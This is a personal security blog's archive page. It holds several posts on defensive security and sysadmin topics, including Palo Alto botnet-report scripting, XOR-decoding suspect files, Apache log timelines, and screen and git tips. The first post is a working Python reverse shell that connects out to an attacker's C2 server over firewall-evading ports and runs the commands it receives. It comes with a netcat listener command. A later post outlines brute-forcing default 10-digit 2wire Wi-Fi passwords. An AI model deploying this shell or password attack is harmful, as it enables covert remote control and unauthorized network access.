Showing posts with label Tech. Show all posts
Showing posts with label Tech. Show all posts

Friday, January 12, 2018

Simple Python Reverse Shell Client

You never know when you'll need persistent control of a remote machine. The script below can typically be used in conjunction with a C2 server you control running the following: nc -nv -l -p 21
nc -h (-n=don't resolve hostnames, -v=verbose, -l=listen, -p=port)

Print statements have been commented out below for your convenience. 

#!/user/bin/env python -tt

#NECESSARY LIBS
import socket
import time
import subprocess

##BEGIN CONNECTION ROUTINE
#print "Starting Connection ..."
mysocket = socket.socket()
connected = False

##ATTEMPT TO CONNECT TO C2 SERVER
while not connected:
    #FOR ATTEMPTING TO EVADE FIREWALL, REDUCE PORTS AS NECESSARY
    for port in [21, 22, 80, 443]:
        time.sleep(2)
        try:
            #print "Attempting Port:", port

            ##CHANGE IP BELOW TO YOUR C2 SERVER
            mysocket.connect(("127.0.0.1", port)
        except socket.error:
            #print "Not Able To Connect"
            continue
        else:
            #print "Connection Successful"
            connected = True
            break

##WE ARE NOW CONNECTED
while True:
    commandrequested = mysocket.recv(1024)
    prochandle = subprocess.Popen(commandrequested,  shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    ##ALLOW PROGRAM TO SAFELY WAIT FOR ABOVE PROCESS TO COMPLETE
    prochandle.wait()
    results = prochandle.stdout.read() + prochandle.stderr.read()
    mysocket.send(results)

Known Limitations:
 1) send/recv have transfer limitations (~12k)
2) "cd" appears (it actually does) NOT to work as EACH command spawns a new shell

Friday, September 19, 2014

Harvesting Actionable Security Intelligence From Palo Alto Networks Botnet Report


     Buried deep within the Palo Alto Networks firewall is a mini correlation engine that normally doesn't seem to get much attention. This correlation engine produces a daily "botnet report" (monitoring->botnet report) containing machines exhibiting strange behavior (HTTP connections to an IP instead of domain, downloading executable content, connecting to domains categorized as malware, connecting to a newly registered domain, etc). The best part is there is also a scoring system (1 the lowest - 4 the highest) for risk, so if you don't want to wade through (potentially) hundreds of alerts, you can focus on just the highest. In my environment, I like to focus on anything 3 or above. Over the years, this report has been so useful that we've actually integrated it into our SOC workflow by leveraging the PAN API.
     If you're looking to leverage every last bit of your security investment from your Palo Alto Networks firewall, you will be pleasantly surprised by the botnet report. The BASH script below will automatically harvest and email only the highest level of alerts to an email of your choice for further analysis! Enjoy.

 #!/bin/bash
######################################################################################## # Author: Matthew Myrick # Date Created: 20131007 # Date Modified: 20131020 # Purpose: This script will pull the botnet information from ALL Pans and create # trac tickets for anything with a confidence of more than 2. # Usage: ./pan_botnet_trac.sh # # Dependencies: # API keys and PAN IP's must be current/accurate. ######################################################################################### #SINCE ONLY NEWER VERSIONS OF BASH SUPPORT ASSOCIATIVE ARRAYS, I OPTED NOT TO USE THEM...FOR PORTABILITY REASONS #DEFINE PALO ALTO FIREWALLS: ASH="10.xx.xx.xx" BNE="10.xx.xx.xx" #DEFINE PALO ALTO FIREWALL KEYS: ASHkey="enterkey" BNEkey="enterkey" #PUT ALL FIREWALLS IN AN ARRAY SO WE CAN ITERATE! BOXES=( $ASH $BNE ) KEYS=( $ASHkey $BNEkey ) #SETUP DESCRIPTION FOR HEADER: DATE=`/bin/date --date=yesterday +"%Y%m%d"` DESC="PALO_ALTO_BOTNET_REPORT-"$DATE #echo $DESC #LOOP THROUGH PANS: #GET THE SIZE OF THE ARRAY TOTAL=${#BOXES[*]} #ITERATE THROUGH FIREWALLS, COLLECTING REPORTS AND CHECKING FOR CONFIDENCE > 2 for (( i=0; i<=$(( $TOTAL -1 )); i++ )) do #echo "Connecting to ${BOXES[$i]} " /usr/bin/curl -s -k "https://${BOXES[$i]}/api/?type=report&reporttype=predefined&reportname=botnet&key=${KEYS[$i]}" | awk -F '[<>]' '{if ($3 > 2) print $3,$7,$11,$19,$23}' >> /tmp/pan_botnet.txt #####TO SEE FULL OUTPUT UNCOMMENT THE LINE BELOW #/usr/bin/curl -s -k "https://${BOXES[$i]}/api/?type=report&reporttype=predefined&reportname=botnet&key=${KEYS[$i]}" #TEST="/usr/bin/curl -s -k https://${BOXES[$i]}/api/?type=report&reporttype=predefined&reportname=botnet&key=${KEYS[$i]}" #echo $TEST done #PRINT/EMAIL TEMP FILE ONLY IF THERE IS DATA #/bin/cat /tmp/pan_botnet.txt if [ -s /tmp/pan_botnet.txt ]; then #ADD HEADER TO FILE /bin/sed -i '1iConfidence(4=Highest) Source Reason:' /tmp/pan_botnet.txt /bin/sed -i "1i$DESC" /tmp/pan_botnet.txt #EMAIL FILE TO TRAC /bin/mail -s "Palo Alto Daily Botnet Report" blah@stuff.com < /tmp/pan_botnet.txt fi #REMOVE THE TEMP FILE /bin/rm -f /tmp/pan_botnet.txt

Wednesday, October 30, 2013

FireEye Script To Manage YARA Across An Enterprise



FireEye has been a huge help to cyber security analysts over the years. However, nothing is perfect...and the lack of an API is a huge shortcoming (which I hear they are working on). To compensate for this shortcoming, I've written a bash script that will distribute a file of properly formatted Yara rules (you can also do the same thing for Snort rules) to FireEye devices (even with their latest enforcement of the  rails authenticity token). Enjoy!


Monday, October 28, 2013

XOR From the Unix CLI


Every once in while (depending upon how hard you look) I'm faced with something that looks like an executable, but not quite. A very common tactic used by cyber criminals to evade IDS and analysts is to XOR executables (and sometimes data) so that they don't look suspicious. There are no shortage of ways to XOR, but I thought I'd share an easy method using perl, borrowed from Daniel Wesemann (https://isc.sans.edu/forums/diary/Exploit+cocktail+Struts+Java+Windows+going+after+3-month+old+vulnerabilities/16913).

In the example below he uses  "cat" and "perl" to perform a single byte XOR (0x77) on a file called "data.hex" and then redirects that to a file called "data.exe". 

cat data.hex | perl -pe 's/(..)/chr(hex($1)^0x77)/ge' > data.exe

Wednesday, January 16, 2013

The Basics of Linux Screen


Screen is an awesome utility that offers the ability to detach a long running process (or program, shell-script, irc window, etc.) from a session and then attach it back at a later time.  Below are the basics:

To get started, enter:
      screen

To see your existing screen sessions, enter:
      screen -list

To detach an attached screen, enter:  
      screen -D

To re-attach to a detached screen, enter:
      screen -r 

Monday, November 19, 2012

Simply Adding To The GIT Repo

 

Seems I'm always forgetting the git syntax for checking things into the repo...simply follow the steps below and you should be alright.

// before you make changes to your local git dir..
git pull // to get you in sync with the main repo
//write your file to the local git directory where you want it
git status // this will give you an idea of the changes
 git add path/to/new/file
 git commit -m "some witty comment here"
 git push

 

Thursday, December 8, 2011

Analyzing Flash Files


A friend told me about this, so I thought I'd share....

xxxswf.py is a Python script for carving, scanning, compressing, decompressing and analyzing Flash SWF files. The script can be used on an individual SWF, single SWF or multiple SWFs embedded in a file stream or all files in a directory. The tool could be useful for system admistrators, incident response, exploit analyst, malware analyst or web developers.

http://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html

Monday, May 23, 2011

Remove Character From Bash Variable


 Sometimes, it is the little things that take an extra few minutes to find on the Internet that really slow you down...

Remove the first character from a bash variable:
VAR=${VAR#?}

Remove the last character from a bash variable
VAR=${VAR%?}

Friday, May 20, 2011

Rename Perl script on the Mac



I love Linux and BSD. I also love my Mac. I really like the user interface, and the underlying BSD roots. (Insert generic Mac fan-pitch)

There are a few things which drive me NUTS about the BSD underpinnings of the Mac, though. MacPorts is a great step in the direction of bringing better Linux/BSD program onto the Mac platform, but it doesn't always have everything you need (And it's pretty slow). The most recent annoyance is the lack of the 'rename' linux command, my favorite of which enables me to bulk rename files based on a regular expression. Yes, I could hack together an awk or bash script to do this each time, but (like Matt), I like simpler == better.

So, when I ran into this issue yesterday, I decided I had enough. It turns out that the rename linux command that I like (based on regular expressions, not some other more simplistic syntax shipped with Redhat) is just a perl script.

So, I found the script on one of my Ubuntu servers (prename), slapped it into /usr/local/bin, and away I went. Much easier than some other custom compiling Mac solutions.

Monday, May 2, 2011

Blue Coat Partners With FireEye

Last week two of my favorite companies Bluecoat and FireEye announced a partnership. The highlights are below:

"The integration enables malicious domains to be automatically shared from the FireEye MPS to Blue Coat ProxySG appliances, allowing administrators to implement a block/deny policy to stop all attempted connections to such domains and provide logging for customizable reporting specific to the defined categories. Administrators can customize categories and policies to deal separately with zero-day infection URLs and callback URLs. For zero-day, infection URLs, for example, customers can create a policy that refers end users to a coaching page that informs them a drive-by download was blocked. For the callback URL policy, the end user could be alerted that their machine was previously infected and to immediately take remediation steps.  The technical integration works seamlessly and adds significant value to organizations."

This is significant for me as I have done some work in the past at trying to get these two technologies to work together. One such example is a script to scrape certain snort rules (within the FireEye MPS) for domains so that I could feed them to Blue Coat. Use caution with this one as FireEye has some rules for domains that you may not want to block.

I am always in favor of vendors stepping up to create and support a stable solution as opposed to some scripts I hacked up to make my life easier. Hopefully the vendors will do a decent job and not charge an arm and a leg to their customers who already pay top dollar for these technologies!

Monday, April 25, 2011

Quick Virus Total Batch Submission



Every now and then you end up with a boat load of potentially "interesting" executables you've recovered from various suspect systems. Where do you start your analysis? Rule out the known stuff first with this handy script to batch submit hashes to Virus Total.

Thursday, April 21, 2011

Converting Apache Timestamps to Something Forensically Useful


Your webserver got popped. Bad guys are using it as a phishing link destination to compromise browsers. You get the fun part of forensic analysis of the host to figure out how the compromise happened. Sweet! Let's make a time line of filesystem activity and add to that the Apache Access log data.

There are two problems to solve.
1) Standardize time. (I prefer GMT)
2) Standardize your time line data. (I prefer the Bodyfile format)

So you use The Sleuthkit to gather some time data from the filesystem and have some time line data you want to add the Apache data. Now you have some conversion to handle, but I already went through the trouble. Get the Apache Log Bodyfile Conversion script here. For now it only has support for Apache Access Combined Log format. It will soon be expanded to handle Error log data.

Apache Combined Access Log Default Timestamp Format:
The default looks like this: [27/Mar/2011:06:40:10 +0000] and that isn't too useful for sorting by time. We have to take this and convert it to Unix epoch time format. The Apache log conversion script does this.

Apache to Bodyfile Format:
Here, whatever you feel will be useful to extract from the Apache log and add to the master time line you take. The script by default takes the client's IP and the request line. It is easy enough to modify the script to export other data. Line 82 contains the format string for the bodyfile output.

Now you have Apache data compatible with The Sleuthkit's mactime time line creator. Happy hunting.

Monday, April 4, 2011

2wire Dictionary Script

If your neighborhood is like mine then you most likely see a bunch of 2wire### wireless ssid's being broadcasted. In California (I'm not sure if this holds true for the rest of the country) 2wire hardware is the standard for AT&T U-verse

The 2wire box and it's capabilities seem decent, except for one thing... The techs from AT&T who set these devices up often use the default password for wireless, which is a 10 digit numeric password conveniently located on the side of the box (see image below). To the credit of the techs, they do usually enable WPA2 (even though the devices will usually support WEP as well). However, using the default 10 digit numeric password only leaves 10^10  password possibilities, which in computer terms only takes a few days to crack!